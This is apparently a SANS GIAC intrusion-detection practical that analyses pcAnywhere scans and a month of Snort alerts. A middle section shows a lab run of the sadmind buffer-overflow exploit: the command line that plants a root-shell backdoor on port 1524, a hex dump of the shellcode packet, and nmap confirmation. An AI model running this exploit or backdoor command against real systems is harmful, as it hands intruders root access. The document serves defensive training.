UTC 01/30/2001 16:59:43.736 - UDP packet dropped - Source:209.166.20.93,
54241,
WAN - Destination:192.168.99.254, 5632, LAN - - Rule 10
UTC 01/30/2001 17:03:33.176 - UDP packet dropped - Source:209.166.20.93,
54247,
WAN - Destination:192.168.99.254, 5632, LAN - - Rule 10
UTC 01/30/2001 17:05:02.816 - UDP packet dropped - Source:64.13.188.112,
35605,
WAN - Destination:192.168.99.254, 5632, LAN - - Rule 10

http://www.sans.org/y2k/081900.htm

Aug 15 15:35:17 24.232.6.88:1492 -> z.y.x.11:5632 UDP
Aug 15 15:35:17 24.232.6.88:1492 -> z.y.x.28:5632 UDP
Aug 15 15:35:18 24.232.6.88:1492 -> z.y.x.189:5632 UDP
Aug 15 15:35:18 24.232.6.88:1492 -> z.y.x.241:5632 UDP
```

```
http://www.sans.org/y2k/071600.htm

(Philippe Gros)
Hello, A guy from sympatico is scanning for PCanywhere 22 UDP (Versions 2.0
to 7.5) and 5632 ( Versions 7.52 to 9.0).

FWIN,2000/07/12,17:06:18 -5:00
GMT,216.209.208.230:1368,216.209.208.127:5632,UDP
FWIN,2000/07/12,17:06:18 -5:00
GMT,216.209.208.230:1368,216.209.208.127:22,UDP
FWIN,2000/07/12,17:10:04 -5:00
GMT,216.209.208.230:1372,216.209.208.127:5632,UDP
FWIN,2000/07/12,17:10:04 -5:00
GMT,216.209.208.230:1372,216.209.208.127:22,UDP
FWIN,2000/07/12,17:10:36 -5:00
GMT,216.209.208.230:1373,216.209.208.127:5632,UDP
```

7. Evidence of Active Targeting

This scan had no particular host or net in mind. It was performing a massive scan looking for open pcANYWHERE servers on UDP port 5632.

8. Severity

We use the following formula to calculate severity of the attack. The metrics are assigned on the five point scale, five being the highest, one being the lowest.

> Severity = (Target Criticality + Attack Lethality) - (System Countermeasures + Network Countermeasures)

Criticality	2	No particular host targeted, just looking for open pcANYWHERE servers.
Lethality	2	Looking for systems that might have pcANYWHERE running on port 5632.
System Countermeasures	4	pcANYWHERE mainly used as client. Setup to only accept connections from specific IPs.
Network Countermeasures	4	Targeted hosts protected by well-tuned firewall.
Severity	(2+2) - (4+4) = **-4**	

9. Defensive Recommendation

Continue to keep up-to-date on all patches for pcANYWHERE from Symantec.com. Symantec also has a nice article entitled "Addressing Security with pcAnywhere".

10. Test Question

What is the most likely service being scanned for here?

29Mar2001 2:27:39 drop fw1 >hme0 proto udp src 212.208.145.215 dst MY.NET.18.219 service 5632 s_port 1029 len 30 rule 47
29Mar2001 2:27:39 drop fw1 >hme0 proto udp src 212.208.145.215 dst MY.NET.18.220 service 5632 s_port 1029 len 30 rule 47
29Mar2001 2:27:39 drop fw1 >hme0 proto udp src 212.208.145.215 dst MY.NET.18.221 service 5632 s_port 1029 len 30 rule 47

a. ProShare
b. Timbukto
c. pcAnywhere
d. NetMeeting

Answer: C. pcAnywhere uses UDP ports 5631/5632 as default ports.

Evaluate an Attack

1. Attack Tool Identification

I explored the Solaris sadmind (exec) buffer overflow vulnerability. The buffer overflow exploit I used can be found at SecurityFocus.com web site here. This attack is on the top ten list published by SANS (GIAC) in collaboration with the NIPC which is located at www.sans.org . This vulnerability was brought to the attention of the security community in December 1999 and has a Bugtraq ID of 866. It also has been annotated with CVE as CVE-1999-0977. CERT issued an alert on December 14, 1999 as CA-1999-16.

2. Description of Attack

The sadmind program is installed by default in Solaris 2.5, 2.5.1, 2.6, and 7. The sadmind program is installed in /usr/sbin. It can be used to coordinate distributed system administration operations remotely. The sadmind daemon is started automatically by the inetd daemon whenever a request to perform a system administration operation is received. Under vulnerable versions of sadmind, if a long buffer is passed to a NETMGT_PROC_SERVICE request (called via clnt_call()), it is possible to overwrite the stack pointer and execute arbitrary code. The actual buffer in questions appears to hold the client's domain name. The overflow in sadmind takes place in the get_auth() function, part of the /usr/snadm/lib/libmagt.so.2 library. Because sadmind runs as root, any code launched as a result will run as with root privileges, therefore resulting in a root compromise.

Using the exploit written by Cheez Whiz, I executed the following command line:

```
./sadmindex -h solaris_target -c "echo 'ingreslock stream tcp nowait root /bin/sh sh -i'
>/tmp/.x; /usr/sbin/inetd -s /tmp/.x; rm -f /tmp/.x" -s 0xefff9588
```

Results of running the program:

%sp 0xefff9588 offset 688 --> return address 0xefff9838 [4]
%sp 0xefff9588 with frame length 4808 --> %fp 0xefffa850
clnt_call: RPC: Timed out
now check if exploit worked; RPC failure was expected

Here is an excerpt from the source code describing the usage options.

```
***   sadmindex - SPARC Solaris remote root exploit for /usr/sbin/sadmind
***
***   Tested and confirmed under Solaris 2.6 and 7.0 (SPARC)
***
***   Usage:  % sadmindex -h hostname -c command -s sp [-o offset] \
***                     [-a alignment] [-p]
***
***   where hostname is the hostname of the machine running the vulnerable
***   system administration daemon, command is the command to run as root
***   on the vulnerable machine, sp is the %sp stack pointer value, offset
***   is the number of bytes to add to sp to calculate the desired return
***   address, and alignment is the number of bytes needed to correctly
***   align the contents of the exploit buffer.
```

Cheez Whiz provided example stack pointer values as well. I had to play around with the sp value in order to get the exploit to work. It didn't take much trial and error since the next offset tried was 0xefff9588!

```
***   Demonstration values for SPARC Solaris:
***
***   (2.6)  sadmindex -h host.example.com -c "touch HEH" -s 0xefff9580
```

Of course any command could be inserted and executed on target system. The ingreslock inetd daemon hack is a fairly common means of r00ting a box.

3. Network Trace of Attack

In order to try this exploit, I had to make a Solaris 2.6 workstation vulnerable. The host.allow file associated with TCPwrappers had to be modified to allow my exploit box (Linux 6.2 workstation) permission to execute rpcbind commands. Also had to uninstall Sun patch 108660-01 as well as uncomment sadmind from inetd.conf.

Here is the trace of the actual expoit. Snort IDS was used to capture the packet.

```
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

03/16-12:27:04.562571 linux_attacker.3:751 -> solaris_target.2:32772
UDP TTL:64 TOS:0x0 ID:51264 IpLen:20 DgmLen:1440
Len: 1420
09 38 0D DF 00 00 00 00 00 00 00 02 00 01 87 88  .8..............
00 00 00 0A 00 00 00 01 00 00 00 01 00 00 00 20  ................
3A B2 69 06 00 00 00 09 6C 6F 63 61 6C 68 6F 73  :.i.....localhos
74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  t...............
```

```
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 04  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 04 A9 00 00 00 0E 41 44 4D 5F 46 57 5F 56  ........ADM_FW_V
45 52 53 49 4F 4E 00 00 00 00 00 03 00 00 00 04  ERSION..........
00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 11  ................
41 44 4D 5F 43 4C 49 45 4E 54 5F 44 4F 4D 41 49  ADM_CLIENT_DOMAI
4E 00 00 00 00 00 00 09 00 00 04 34 00 00 04 34  N..........4...4
FF FF FF FF EF FF A8 50 EF FF 98 38 EF FF A8 50  .......P...8...P
EF FF 98 38 EF FF A8 50 EF FF 98 38 EF FF A8 50  ...8...P...8...P
EF FF 98 38 EF FF A8 50 EF FF 98 38 EF FF A8 50  ...8...P...8...P
EF FF 98 38 EF FF A8 50 EF FF 98 38 EF FF A8 50  ...8...P...8...P
EF FF 98 38 EF FF A8 50 EF FF 98 38 EF FF A8 50  ...8...P...8...P
EF FF 98 38 EF FF A8 50 EF FF 98 38 EF FF A8 50  ...8...P...8...P
EF FF 98 38 EF FF A8 50 EF FF 98 38 EF FF A8 50  ...8...P...8...P
EF FF 98 38 EF FF A8 50 EF FF 98 38 EF FF A8 50  ...8...P...8...P
EF FF 98 38 EF FF A8 50 EF FF 98 38 EF FF A8 50  ...8...P...8...P
EF FF 98 38 EF FF A8 50 EF FF 98 38 EF FF A8 50  ...8...P...8...P
EF FF 98 38 EF FF A8 50 EF FF 98 38 EF FF A8 50  ...8...P...8...P
EF FF 98 38 EF FF A8 50 EF FF 98 38 EF FF A8 50  ...8...P...8...P
EF FF 98 38 EF FF A8 50 EF FF 98 38 EF FF A8 50  ...8...P...8...P
EF FF 98 38 EF FF A8 50 EF FF 98 38 EF FF A8 50  ...8...P...8...P
EF FF 98 38 EF FF A8 50 EF FF 98 38 EF FF A8 50  ...8...P...8...P
EF FF 98 38 EF FF A8 50 EF FF 98 38 EF FF A8 50  ...8...P...8...P
EF FF 98 38 EF FF A8 50 EF FF 98 38 EF FF A8 50  ...8...P...8...P
EF FF 98 38 EF FF A8 50 EF FF 98 38 EF FF A8 50  ...8...P...8...P
EF FF 98 38 EF FF A8 50 EF FF 98 38 EF FF A8 50  ...8...P...8...P
EF FF 98 38 EF FF A8 50 EF FF 98 38 EF FF A8 50  ...8...P...8...P
EF FF 98 38 EF FF A8 50 EF FF 98 38 EF FF A8 50  ...8...P...8...P
EF FF 98 38 EF FF A8 50 EF FF 98 38 EF FF A8 50  ...8...P...8...P
EF FF 98 38 EF FF A8 50 EF FF 98 38 EF FF A8 50  ...8...P...8...P
EF FF 98 38 EF FF A8 50 EF FF 98 38 EF FF A8 50  ...8...P...8...P
EF FF 98 38 EF FF A8 50 EF FF 98 38 EF FF A8 50  ...8...P...8...P
EF FF 98 38 EF FF A8 50 EF FF 98 38 EF FF A8 50  ...8...P...8...P
EF FF 98 38 EF FF A8 50 EF FF 98 38 EF FF A8 50  ...8...P...8...P
EF FF 98 38 EF FF A8 50 EF FF 98 38 EF FF A8 50  ...8...P...8...P
EF FF 98 38 EF FF A8 50 EF FF 98 38 EF FF A8 50  ...8...P...8...P
EF FF 98 38 EF FF A8 50 EF FF 98 38 EF FF A8 50  ...8...P...8...P
EF FF 98 38 EF FF A8 50 EF FF 98 38 EF FF A8 50  ...8...P...8...P
EF FF 98 38 EF FF A8 50 EF FF 98 38 EF FF A8 50  ...8...P...8...P
EF FF 98 38 EF FF A8 50 EF FF 98 38 EF FF A8 50  ...8...P...8...P
EF FF 98 38 80 1B C0 0F 80 1B C0 0F 80 1B C0 0F  ...8............
80 1B C0 0F 80 1B C0 0F 80 1B C0 0F 80 1B C0 0F  ................
80 1B C0 0F 80 1B C0 0F 80 1B C0 0F 80 1B C0 0F  ................
80 1B C0 0F 80 1B C0 0F 80 1B C0 0F 80 1B C0 0F  ................
80 1B C0 0F 80 1B C0 0F 80 1B C0 0F 80 1B C0 0F  ................
80 1B C0 0F 80 1B C0 0F 80 1B C0 0F 80 1B C0 0F  ................
80 1B C0 0F 80 1B C0 0F 80 1B C0 0F 80 1B C0 0F  ................
80 1B C0 0F 80 1B C0 0F 80 1B C0 0F 80 1B C0 0F  ................
```

```
80 1B C0 0F 80 1B C0 0F 80 1B C0 0F 80 1B C0 0F  ................
80 1B C0 0F 80 1B C0 0F 80 1B C0 0F 80 1B C0 0F  ................
80 1B C0 0F 80 1B C0 0F 80 1B C0 0F 80 1B C0 0F  ................
80 1B C0 0F 80 1B C0 0F 80 1B C0 0F 80 1B C0 0F  ................
80 1B C0 0F 80 1B C0 0F 80 1B C0 0F 80 1B C0 0F  ................
80 1B C0 0F 80 1B C0 0F 80 1B C0 0F 80 1B C0 0F  ................
80 1B C0 0F 80 1B C0 0F 80 1B C0 0F 80 1B C0 0F  ................
80 1B C0 0F 80 1B C0 0F 80 1B C0 0F 80 1B C0 0F  ................
80 1B C0 0F 80 1B C0 0F 80 1B C0 0F 80 1B C0 0F  ................
80 1B C0 0F 80 1B C0 0F 80 1B C0 0F 80 1B C0 0F  ................
80 1B C0 0F 80 1B C0 0F 20 BF FF FF 20 BF FF FF  ........ ... ...
7F FF FF FF 90 03 E0 5C 92 22 20 10 94 1B C0 0F  .......\." .....
EC 02 3F F0 AC 22 80 16 AE 02 60 10 EE 22 3F F0  ..?.."....`.."?.
AE 05 E0 08 C0 2D FF FF EE 22 3F F4 AE 05 E0 03  .....-..."?.....
C0 2D FF FF EE 22 3F F8 AE 05 C0 16 C0 2D FF FF  .-..."?......-..
C0 22 3F FC 82 10 20 3B 91 D0 20 08 FF FF FF 95  ."?... ;.. .....
FF FF FF FF FF FF FF FF FF FF FF FF 2F 62 69 6E  ............/bin
2F 73 68 FF 2D 63 FF 65 63 68 6F 20 27 69 6E 67  /sh.-c.echo 'ing
72 65 73 6C 6F 63 6B 20 73 74 72 65 61 6D 20 74  reslock stream t
63 70 20 6E 6F 77 61 69 74 20 72 6F 6F 74 20 2F  cp nowait root /
62 69 6E 2F 73 68 20 73 68 20 2D 69 27 20 3E 2F  bin/sh sh -i' >/
74 6D 70 2F 2E 78 3B 20 2F 75 73 72 2F 73 62 69  tmp/.x; /usr/sbi
6E 2F 69 6E 65 74 64 20 2D 73 20 2F 74 6D 70 2F  n/inetd -s /tmp/
2E 78 3B 20 72 6D 20 2D 66 20 2F 74 6D 70 2F 2E  .x; rm -f /tmp/.
78 FF FF FF 00 00 00 00 00 00 00 00 00 00 00 09  x...............
41 44 4D 5F 46 45 4E 43 45 00 00 00 00 00 00 03  ADM_FENCE.......
00 00 00 04 00 00 02 9A 00 00 00 00 00 00 00 00  ................
00 00 00 10 6E 65 74 6D 67 74 5F 65 6E 64 6F 66  ....netmgt_endof
61 72 67 73                                      args

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

I had Snort running in detect mode and captured the associated alert.

[**] IDS10 - RPC - portmap-request-rstatd [**]

```
03/16-12:27:04.562571 linux_attacker.3:826 -> Solaris_target.2:111
UDP TTL:64 TOS:0x0 ID:51264 IpLen:20 DgmLen:1440
Len: 1420
```

As they say, the proof is in the pudding:

nmap -sR solaris_target.2

```
Starting nmap V. 2.54BETA22 ( www.insecure.org/nmap/ )
Interesting ports on solaris_target (solaris_target.2):
(The 1534 ports scanned but not shown below are in state: closed)
Port        State       Service (RPC)
111/tcp     open        sunrpc (rpcbind V2-4)
1524/tcp    open        ingreslock

Nmap run completed -- 1 IP address (1 host up) scanned in 3 seconds
```

"Analyze This" Scenario

1. Analysis Methodology

As part of this assignment, we were given a month's worth of data from a Snort system with a fairly standard rulebase. We were tasked to analyze the data to look for signs of compromised systems or network problems and to generate an analysis report. This is what will be attempted here. Given just the raw data makes it difficult to acertain the network topology or where the Snort system was placed in relationship to the border router, firewalls, or other internal routers or switches. Also, it behoves one to correlate GIAC Enterprises security policy (if one exists?) to a plan for providing services. But first things first, the task at hand.

The monthly Snort data provided was broken up into three types:

1. Snort Alert logs.

```
12/16-12:21:46.219962  [**] SITE EXEC - Possible wu-ftpd exploit - GIAC0(
```

2. Snort Scan logs.

```
Dec 17 05:35:27 136.183.3.34:3298 -> MY.NET.229.183:21 SYN **S*****
Dec 17 05:35:27 136.183.3.34:3315 -> MY.NET.229.184:21 SYN **S*****
Dec 17 05:35:27 136.183.3.34:2897 -> MY.NET.229.162:21 SYN **S*****
```

3. Snort OOS logs

```
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

     12/15-02:28:42.756173 194.197.170.7:9055 -> MY.NET.1.204:9055
     TCP TTL:25 TOS:0x0 ID:39426
     **SF**** Seq: 0x56DE15F1   Ack: 0x5228A53D   Win: 0x404
     00 00 00 00 00 00                                      ......

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
```

I went through all the files and broke them down by date. The table below indicates how many logs were generated on each specific day. There were many gaps in the data as an indication of power failure or out of disk space. There were duplicate scan logs as annotated in the table.

Date	# Snort Alert Logs	# Snort Scan Logs	# OOS Logs
Nov 25	501		
Nov 26			
Nov 27	1873		
Nov 28			2632
Nov 30	4204		
Dec 01			

Dec 02	9874		
Dec 03	1445		
Dec 04	1350		
Dec 05	3341		
Dec 06	2714	48801	
Dec 07	3167	35176	
Dec 08	1560	4774	
Dec 09	3277	18420	3617
Dec 10	5132	9082	6008
Dec 11	4787	4365	
Dec 12			1040
Dec 13	10425	958	2190
Dec 14	2273	1938	
Dec 15			2172
Dec 16	9929		
Dec 17	6451	59537	
Dec 18	4887	49404	
Dec 19			207
Dec 20			494
Dec 21	15660	76127	
Dec 22	7840	43387 *	
Dec 23	23462		
Dec 24	22956		
Dec 25	5916	25661	
Dec 26		72037	
Dec 27	15158		
Dec 28		67860	2168
Dec 29	10273	79227	
Dec 30	5729	21708	
Dec 31	7687	42426	
Jan 01	9263	41820	
Jan 02	16458	59633 **	
Jan 03	7019	43969	
Jan 04	6801	76403	203
Jan 05	44404		12580
Jan 06	15378		

Jan 07	22227		
Jan 08	30428		598
Jan 09	8591	52363	555
Jan 10	8266	49272	16699
Jan 11	27133		1332
Jan 12	37091	44222	1606
Jan 13	13974	44907	1317
Jan 14	11736	27923	1315
Jan 15			868
Jan 16	14094	64999	1397
Jan 17	12550		510
Jan 18			1707
Jan 19	12375		
Totals	490542	1166399	61209

* SnortS11/13/14.txt were identical. Duplicate files purged. ** SnortS29/32.txt were idencal. Duplicate file purged.

2. SnortSnarf results

194,039 Alerts	# Alerts	# Sources	# Destinations
STATDX UDP attack	1	1	1
Happy 99 Virus	1	1	1
SITE EXEC - Possible wu-ftpd exploit - GIAC000623	3	3	3
Probable NMAP fingerprint attempt	8	5	6
External RPC call	59	15	25
Back Orifice	77	10	71
TCP SMTP Source Port traffic	100	5	88
Broadcast Ping to subnet 70	154	24	1
connect to 515 from inside	159	11	11
SUNRPC highport access!	204	25	19

SMB Name Wildcard	515	91	168
Russia Dynamo - SANS Flash 28-jul-00	546	2	2
NMAP TCP ping!	558	47	27
SNMP public access	591	3	5
Queso fingerprint	710	52	72
Null scan!	826	527	173
Attempted Sun RPC high port access	2053	16	23
WinGate 1080 Attempt	2239	474	572
Watchlist 000222 NET-NCFC	2401	31	19
connect to 515 from outside	4238	10	2877
Tiny Fragments - Possible Hostile Activity	5340	27	13
DNS udp DoS attack described on unisog	16146	8	6
SYN-FIN scan!	51192	37	27067
Watchlist 000220 IL-ISDNNET-990517	105918	46	100

SnortSnarf brought to you courtesy of Silicon Defense
Authors: Jim Hoagland and Stuart Staniford
See also the Snort Page by Marty Roesch
Page generated at Thu Mar 22 09:53:31 2001

STATDX UDP attack

There was one alert for the STATDX UDP attack coming from **206.210.80.6** to **MY.NET.6.15**.

This attack was mentioned on SANS GIAC at http://www.sans.org/y2k/120600-1200.htm by Andy Johnston. He and John Laser developed the Snort rule as a result of vulnerablity in statdx on RedHat Linux. Also see http://www.kulua.org/Archives/kulua-l/200008/msg00159.html.

Happy 99 Virus

There was one alert for Happy99 virus coming from **ffml.fanfic.com** to **MY.NET.6.47**.

The Happy99 virus is a Windows based email and newsgroup worm. If the file is executed, every email and newsgroup posting from the infected machine will cause a second message to be sent

out. There is a chance that this could be a false positive. The only sure way to know that **MY.NET.6.47** did not contract the virus is to run a virus scan against it. This alert just brings to mind the importance of having all workstations current with the latest anti-virus signatures of choice.'

Symantec provides a tool to remove Happy99 if there is an infection.

SITE EXEC - Possible wu-ftpd exploit - GIAC000623

Snort triggered on this rule (GIAC000623) developed again by Andy Johnston. Doing a search at cve.mitre.org yields many vulnerabilities on wu-ftpd. It has been one of the most popular attacks because of the many different OS platforms running wu-ftpd.

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total)
cm47580-a.ftwrth1.tx.home.com	1	1	1	1
adsl-64-217-116-106.dsl.hstntx.swbell.net	1	1	1	1
Network address at Verio, Inc.	1	1	1	1

Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
MY.NET.130.98	1	3	1	3
MY.NET.156.127	1	3	1	3
MY.NET.97.162	1	2	1	2

This is a very dangerous exploit and if scans like this aren't a wake-up call, nothing is. Scans on ftp ports are very prevelent and the past month there were numerous scans on the GIAC Enterprises network (See scan analysis below.)

Probable NMAP fingerprint attempt

Nmap is probably one of the best tools available for not only black-hats hackers/crackers but also for the white-hat community. This particular scan attempts to identify the operating system of the targeted hosts but sending a series of nine packets. Fyodor has compiled a database of expected responses to these packets and uses it to determine the operating system. This data is extremely important in trying to find vulnerabilites. If one discovers a host running RedHat 5.2 and then determines that IMAP is running, nine times out of ten the game is over.

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
cr859517-a.surrey1.bc.wave.home.com	4	13	2	2
fysgr456.sn.umu.se	1	4	1	1
Network address of Thrunet Co.,Ltd, Korea	1	1	1	1
ns.isrd.net	1	6	1	2
Network address of POLIP, Polard	1	1	1	1

Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total))
MY.NET.105.120	3	31	1	9
MY.NET.98.147	1	13	1	6
MY.NET.217.146	1	29	1	8
MY.NET.201.222	1	37609	1	6
MY.NET.209.78	1	6	1	3
MY.NET.98.154	1	11	1	8

External RPC call

External Remote Procedure Calls (RPC) are potentially dangerous and has made SANS Top Ten list of threats RPC weakness in rpc.ttdbserverd - CVE-1999-0687, CVE-1999-0003, CVE-1999-0693. Also rpc.cmsd – CVE-1999-0696 and rpc.statd - CVE-1999-0018, CVE-1999-0019 are exploitable.

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
Network address of Benemerita Universidad Autonoma de Puebla, Mexico	13	13	13	13
Network address of Stargate Industries, LLC	8	9	3	3
jsmala.polmoslancut.com.pl	8	8	8	8

1Cust117.tnt1.yakima.wa.da.uu.net	7	95	1	86
sdsl-208-185-235-100.dsl.sjc.megapath.net	5	5	3	3
rsensing2.sfsu.edu	5	5	2	2
Network address of Fountain Set (Holdings) Limited, Hong Kong	4	4	3	3
ubr-33.58.115.unionpark.cfl.rr.com	2	2	2	2
Network address of Advanced Solutions Consulting, Spain	1	1	1	1
Network address of Korea Beral Company Limited, Korea	1	1	1	1
CBL187.pool010.CH001-riverside.dhcp.hs.earthlink.net	1	1	1	1
w142.z208037228.nyc-ny.dsl.cnc.net	1	1	1	1
Network address of Korea Computer Graphic, Korea	1	1	1	1
birx22ms1.teliamobile.net	1	1	1	1
Network address of Mosaic Communications, Inc., Phillipines	1	1	1	1

Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total))
MY.NET.6.15	26	98	9	15
MY.NET.15.127	6	11	6	11
MY.NET.100.130	5	19	5	11
MY.NET.133.2	1	2	1	2
MY.NET.133.111	1	2	1	2
MY.NET.133.103	1	2	1	2
MY.NET.133.4	1	2	1	2
MY.NET.133.104	1	2	1	2

MY.NET.133.141	1	4	1	4
MY.NET.133.250	1	2	1	2
MY.NET.133.225	1	2	1	2
MY.NET.133.252	1	3	1	3
MY.NET.133.254	1	1	1	1
MY.NET.133.238	1	4	1	4
MY.NET.133.185	1	3	1	3
MY.NET.133.249	1	2	1	2
MY.NET.94.75	1	2	1	2
MY.NET.133.189	1	3	1	3
MY.NET.133.199	1	3	1	3
MY.NET.133.87	1	3	1	3
MY.NET.133.16	1	4	1	4
MY.NET.133.100	1	2	1	2
MY.NET.133.74	1	3	1	3
MY.NET.133.65	1	3	1	3
MY.NET.133.75	1	2	1	2

Back Orifice

Back Orifice produced by the Cult of the Dead Cow and a Microsoft Trojan that allow remote control of a host remotely. Typically listening on UDP port 31337, this trojan is referenced at IDS397, CAN-1999-0660, IDS188. Considering the destructive nature of this trojan, it would be wise for us to scan the GIAC network to see if any hosts are infected with this trojan.

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
cuscon1096.tstt.net.tt	32	32	32	32
modem-93.lawrencium.dialup.pol.co.uk	20	20	20	20

cuscon1037.tstt.net.tt	14	14	14	14
securedesign.net	3	14	1	1
ppp040.109-253-207.mtl.mt.videotron.ca	2	2	1	1
l129ppp211.ksc.net.th	2	2	2	2
Network address of Itissalat Al Maghrib Noeud Internet, Rabat, Morocco	1	8	1	2
cr929575-b.slnt1.on.wave.home.com	1	1	1	1
HSE-Toronto-ppp167710.sympatico.ca	1	1	1	1
ip169.montreal16.dialup.canada.psi.net	1	1	1	1

TCP SMTP Source Port traffic

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
1Cust117.tnt1.yakima.wa.da.uu.net	84	95	84	86
vaismed.nida.nih.gov	11	11	1	1
eu214.stl161-net74.ip.superonlinecorporate.com	2	2	1	1
airc.east.gblx.net	2	2	1	1
adsl-64-161-240-254.dsl.lsan03.pacbell.net	1	45	1	42

Given that the source port and destination port are the same for this type of alert, looking at the above source IPs indicate that two (1Cust117.tnt1.yakima.wa.da.uu.net and adsl-64-161-240-254.dsl.lsan03.pacbell.net) were associated with other scans. The other three appear to be false positives.

Broadcast Ping to subnet 70

Romania has a real fetish with mapping GIAC's subnet 70. It would be worth our time to find out what type of servers are on subnet 70. This might provide some other avenue to do a deeper analysis.

Top Ten Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
ns.endzone.ro	52	52	1	1
ppp8-2.digiro.net	26	26	1	1
ppp220091.fx.ro	17	17	1	1
ppp220137.fx.ro	12	12	1	1
ppp220238.fx.ro	8	8	1	1
stan.pcnet.ro	6	6	1	1
ppp201.pcnet.ro	4	4	1	1
www2.powertech.no	3	3	1	1
pc7.dwcomp.mediasat.ro	3	3	1	1
Network address from MEDIASAT, Romania	3	3	1	1

Connect to 515 from inside

This rule appears to be a locally created one. Source MY.NET.70.38 scanned 135 other MY.NET hosts for printer ports. Definitely will want to check this host out as possibly being compromised. Given the vulnerability on LRPng (CVE-2000-0917), this would indicate a threat. The print attempts to the Netherlands does seem unusual as well.

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
MY.NET.70.38	134	892	1	1
MY.NET.98.151	9	9	1	1
MY.NET.60.38	3	3	1	1
MY.NET.253.12	3	3	1	1
MY.NET.70.38	3	3	1	1
MY.NET.99.244	2	2	1	1
MY.NET.60.16	1	1	1	1
MY.NET.179.78	1	1	1	1
MY.NET.219.122	1	8	1	2
MY.NET.219.194	1	1	1	1
MY.NET.163.17	1	1	1	1

Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total))
Various MY.NET addresses	134	892	1	1
Network address from Integrated Technology Solutions	9	9	1	1
bay6.umd.edu	3	3	1	1
chimay.skynetweb.com	3	3	1	1
c65135.upc-c.chello.nl	3	3	1	1
Network address from Sun Microsystems	2	2	1	1

SMB Name Wildcard

This is triggered by Windows networking requests to the Netbios port (137). Looking at the logs, it appears to be legitimate traffic from Internet sites to hosts with the GIAC network. Even if this is legitimate, it stills raises many security red flags. Even if one has password protected shares, it is not a good security risk to allow any Windows network access from the Internet. Ports 135-139 and port 445 should be filtered at the border router.

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
MY.NET.101.160	78	892	1	1
adsl-141-157-104-204.bellatlantic.net	62	62	1	1
snow.ucsd.edu	23	23	1	1
Network address from Kyoto University	16	16	7	7
rjs003.perc.psu.edu	14	14	5	5
rcgpc.gtri.gatech.edu	13	13	5	5
petrel.fedu.uec.ac.jp	11	11	4	4
Network address from University of Zurich-Irchel	11	11	5	5
stm.rilab.kyoto-u.ac.jp	10	10	4	4
Network address from University of Alabama	10	10	5	5

Russia Dynamo - SANS Flash 28-jul-00

This is another localized Snort rule inserted due to the odd behavior being seen by SANS GIAC. Looking at the packets associated with this alert, it appears to be Napster traffic between MY.NET.205.138 on port 6699 and from 194.87.6.38. Depending on the GIAC security policies concerning programs like Napster, this could be quickly resolved.

```
12/08-15:40:02.168998 [**] Russia Dynamo - SANS Flash 28-jul-00 [**] 194.87.6.38:2478-> MY.NET.205.138:6699
```

NMAP TCP ping!

Nmap has an option to use TCP in lieu of ICMP to map networks. IPs from subnet 216.104.228.x (non-invasive-proximity-checking-device.safeweb.com) have very interesting names. What a concept for a hacker to use a fully qualified domain name like this to difuse attention. Turns out that this IP block belongs to Exodus Communications, Inc. which are known for such behavior. Looks like we also have a potentially compromised host, **MY.NET.70.38** which scanned the **MY.NET.0** subnet.

Top Ten Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total))
MY.NET.70.38	262	892	1	1
geo197a.cps.intel.com	55	55	3	3
bestroute1-t.alcatel.fr	46	46	8	8
Network address from UUNET Technologies	41	41	10	10
216.104.228.102 (non-invasive-proximity-checking-device.safeweb.com)	19	19	8	8
Network address from Teligent, Inc.	19	19	6	6
Network address from Universiti Tun Abdul Razak, MY	16	16	9	9
Network address from ALCANET INTERNATIONAL, FR	8	8	3	3
216.104.228.134 (non-invasive-proximity-checking-device.safeweb.com)	8	8	5	5
lp2.sealedair.com	7	7	4	4

Top 10 Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)

Subnet MY.NET.0	262	892	1	1
MY.NET.1.8	63	3219	8	31
MY.NET.1.3	38	5452	9	13
MY.NET.100.165	27	38	13	18
MY.NET.253.125	27	31	16	20
MY.NET.60.14	23	24	16	17
MY.NET.1.5	18	5352	4	8
MY.NET.110.39	17	18	2	3
MY.NET.1.4	14	5408	5	10
